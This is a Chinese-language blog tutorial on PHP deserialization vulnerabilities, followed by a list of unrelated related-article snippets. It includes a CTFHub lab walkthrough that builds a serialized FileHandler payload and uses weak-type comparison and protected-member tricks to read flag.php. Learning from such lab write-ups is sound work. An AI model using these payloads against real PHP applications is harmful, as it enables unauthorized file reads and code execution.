web漏洞-PHP反序列化
目录
- PHP反序列化
- 序列化
- 反序列化
- 原理
- 涉及技术
- 利用
- 危害
- CTF靶场
PHP反序列化
序列化
将对象转换成字符串
反序列化
相反,将字符串转换成对象。
数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。
原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

//例如:
//无类,序列化和反序列化
<?php$key="rumilc";
echo serialize($key);echo "</br>";
$key2 = 's:6:"rumilc";';
echo unserialize($key2);

涉及技术
有类和无类
有类和无类区别:有无class定义
基本概念
有类:触发魔术方法
魔术方法具体参考
触发: unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法: __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 ......

利用
真实应用下
CTF中常见
危害
SQL注入
目录遍历
代码执行
…
CTF靶场
题目地址

进入环境:

给了php代码,进行分析
根据题目以及代码,向下发现了unserialize
思路:
第一:获取flag存储flag.php
第二:两个魔术方法__destruct和 __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出


进行构造,序列化处理:
<?php
class FileHandler
{public $op = '2.0'; //源码观察发现,op为1时候是执行写入,为2时执行读//使用 ' 2'也可以绕过op的值public $filename="flag.php"; //文件开头调用的是flag.phppublic $content; //可以不用写,或者任意
}
$flag = new FileHandler();
echo serialize($flag);
?>
执行完成后,得到:
O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}

将此作为参数值,赋值给str进行请求
发现有返回,查看源码

源码当中:
得到答案

$FLAG = "ctfhub{2edb689c4de533b460e6c2af}";
还可以将其还原成对象:
<?php$key = 'O:11:"FileHandler":3:{s:2:"op";s:3:"2.0";s:8:"filename";s:8:"flag.php";s:7:"content";N;}';var_dump(unserialize($key));
?>
还原的对象结果:
object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(11) "FileHandler"["op"]=>string(3) "2.0"["filename"]=>string(8) "flag.php"["content"]=>NULL
}
反序列化魔术方法调用,弱类型绕过,ascii绕过
== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,
process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。
is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,
因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,
使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。
相关文章:
web漏洞-PHP反序列化
目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化 序列化 将对象转换成字符串 反序列化 相反,将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。 原理 未对用户输入的序列化字…...
Redis-分布式锁
分布式锁相关内容 超卖问题切入可以使用互斥锁给先获取到锁的线程加锁吗?使用redis分布式锁解决超卖问题setnx命令实现分布式锁为什么需要设置过期时间?Redis实现分布式锁如何合理控制锁的有效时长 redisson实现分布式锁 超卖问题切入 我们先来看一个项目…...
什么时候使用继承,好莱坞原则(设计模式与开发实践 P11+)
文章目录 好莱坞原则真的需要继承吗? 好莱坞原则 如果你熟悉继承方法、乃至模板方法模式后,就可以了解一个设计原则 好莱坞原则 新人演员把简历发给好莱坞,许久之后没有回应不耐烦打电话给好莱坞,只收到回应:不要来找…...
蓝桥等考Python组别十四级001
第一部分:选择题 1、Python L14 (15分) 运行下面程序,输出的结果是( )。 d {A: 501, B: 602, C: 703, D: 804} print(d[B]) 501602703804 正确答案:B 2、Python L14 (15分…...
TI单芯片毫米波雷达代码走读(二十七)—— 角度维(3D)处理之通道间幅相一致性补偿
TI单芯片毫米波雷达1642代码走读(〇)——总纲 书接上回,我们知晓了3D处理的主要流程,相信大家都已理解基本的原理。在正式进行数据分析之前还有一步关键的步骤需要说明,即通道间的幅相一致性补偿问题。 细心的朋友可能注意到,在3D处理的的原码中有两个函数我一直没有讲:…...
数据结构 2.2 单循环链表
2.单循环链表 data|next——>data|next——>data|next——>头节点 1.初始化链表 2.增加节点(头插法、尾插法) 3.删除节点 4.遍历链表 定义一个结构体,存放data域和指针域: typedef struct Node {//定义一个结构体&…...
矩阵距离——多源BFS
给定一个 N 行 M 列的 01 矩阵 A,A[i][j] 与 A[k][l] 之间的曼哈顿距离定义为: dist(A[i][j],A[k][l])|i−k||j−l| 输出一个 N 行 M 列的整数矩阵 B,其中:B[i][j]min1≤x≤N,1≤y≤M,A[x][y]1dist(A[i][j],A[x][y]) 输入格式 第…...
关于在 Notion 中使用 Markdown 语法
关于在 Notion 中使用 Markdown 语法 习惯使用的 Markdown 的伙伴们应该知道,当需要加粗字体时,会首先输入 ** **,然后在里面填内容。 但是在 Notion 中,这个就不太行了。它所定义的规则是从前往后,也就是先键入**&…...
sigmoid和softmax函数有什么区别
Sigmoid函数和Softmax函数都是常用的激活函数,但它们的主要区别在于应用场景和输出结果的性质。 Sigmoid函数(也称为 Logistic函数): Sigmoid函数将输入值映射到0到1之间的连续实数范围,通常用于二元分类问题。 Si…...
第五章:最新版零基础学习 PYTHON 教程—Python 字符串操作指南(第七节 - Python 中使用 % 进行字符串格式化)
在Python中,可以通过不同的方法来实现对字符串所需的格式化。他们之中有一些是; 1) 使用 % 2) 使用 {} 3)使用模板字符串本文讨论使用 % 进行格式化。使用 % 的格式类似于 C 编程语言中的“printf”。%d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制 %o – 八进制 下面的…...
【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)
一,VMware下载地址: 百度网盘链接链接:百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,支持教育网加速,支持手机端。注册使用百度网盘即可享受免费存储空间https:/…...
Eclipse MAT解析headp dump,total size小于file size
1. 问题描述 使用Eclipse MAT分析20GB的heap dump文件 最后解析出来dump size只有1GB 2. 原因:heap dump中包含许多unreachable objects Eclipse MAT的官方文档,《Basic Tutorial》章节,有对上图的Overview page做介绍 针对total size小…...
【数据挖掘】2022年 Quiz 1-3 整理 带答案
目录 Quiz 1Quiz 2Quiz 3Quiz 1 Problem 1 (50%). Consider the set of training data shown below. Here, A, B, C C C are attributes, and D D...
AcWing 288. 休息时间,《算法竞赛进阶指南》,环形与后效性处理
288. 休息时间 - AcWing题库 在某个星球上,一天由 N 个小时构成,我们称 0 点到 1 点为第 1 个小时、1 点到 2 点为第 2 个小时,以此类推。 在第 i 个小时睡觉能够恢复 Ui 点体力。 在这个星球上住着一头牛,它每天要休息 B 个小…...
一文掌握Linux系统信息查看命令(CPU、内存、进程、网口、磁盘、硬件)
引言 大家好,欢迎来到我的技术博客!如果你是一名Linux系统管理员、开发者或者热衷于学习Linux系统的用户,那么你一定需要掌握查看系统信息的命令。在这篇博客中,我将为你介绍一些常用的Linux命令,帮助你快速了解和监控…...
UE5.1编辑器拓展【三、脚本化资产行为,删除无引用资产】
目录 需要考虑的问题 重定向的修复函数 代码: 删除无引用资产 代码 需要添加的头文件和模块 在我们删除资产的时候,会发现,有些资产在删除的时候会出现有被什么什么引用,还有的是没有被引用。 而我们如果直接选择一片去进行…...
防抖和节流的实现
防抖和节流的实现 什么是防抖和节流实现防抖和节流防抖节流 防抖和节流的应用场景 什么是防抖和节流 防抖和节流是前端开发中常用的两种性能优化技术。 为什么需要防抖和节流呢? 两者目的都是为了防止某个时间段内操作频繁触发,造成性能消耗。 防抖&…...
alsa pcm接口之阻塞和非阻塞打开和异步通知模式
阻塞和非阻塞打开(Blocked and non-blocked open) 当设备打开在一个阻塞或非阻塞模式,ALSA pcm api接口使用不同的行为,模式可以指定通过mode参数通过snd_pcm_open函数,blocked mode阻塞模式是默认打开方式,在这个模式下,行为表现为当资源被其他应用程序使用,应该阻…...
Python Random模块详解
Random模块详解 随机数 random模块 randint(a, b) 返回[a, b]之间的整数randrange ([start,] stop [,step]) 从指定范围内,按指定基数递增的集合中获取一个随机数,基数 缺省值为1。random.randrange(1,7,2)choice(seq) 从非空序列的元素中随机挑选一个…...
Vue3 模糊搜索筛选
Vue3 模糊搜索筛选 环境: vue3 tselement plus 目标: 输入框输入内容,对展示的列表进行模糊搜索筛选匹配的内容。 代码如下: <div style"margin-top: 50px"><el-input v-model"valueInput" size&…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
1.3 VSCode安装与环境配置
进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件,然后打开终端,进入下载文件夹,键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
让AI看见世界:MCP协议与服务器的工作原理
让AI看见世界:MCP协议与服务器的工作原理 MCP(Model Context Protocol)是一种创新的通信协议,旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天,MCP正成为连接AI与现实世界的重要桥梁。…...
Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...
【分享】推荐一些办公小工具
1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由:大部分的转换软件需要收费,要么功能不齐全,而开会员又用不了几次浪费钱,借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...
vue3 daterange正则踩坑
<el-form-item label"空置时间" prop"vacantTime"> <el-date-picker v-model"form.vacantTime" type"daterange" start-placeholder"开始日期" end-placeholder"结束日期" clearable :editable"fal…...
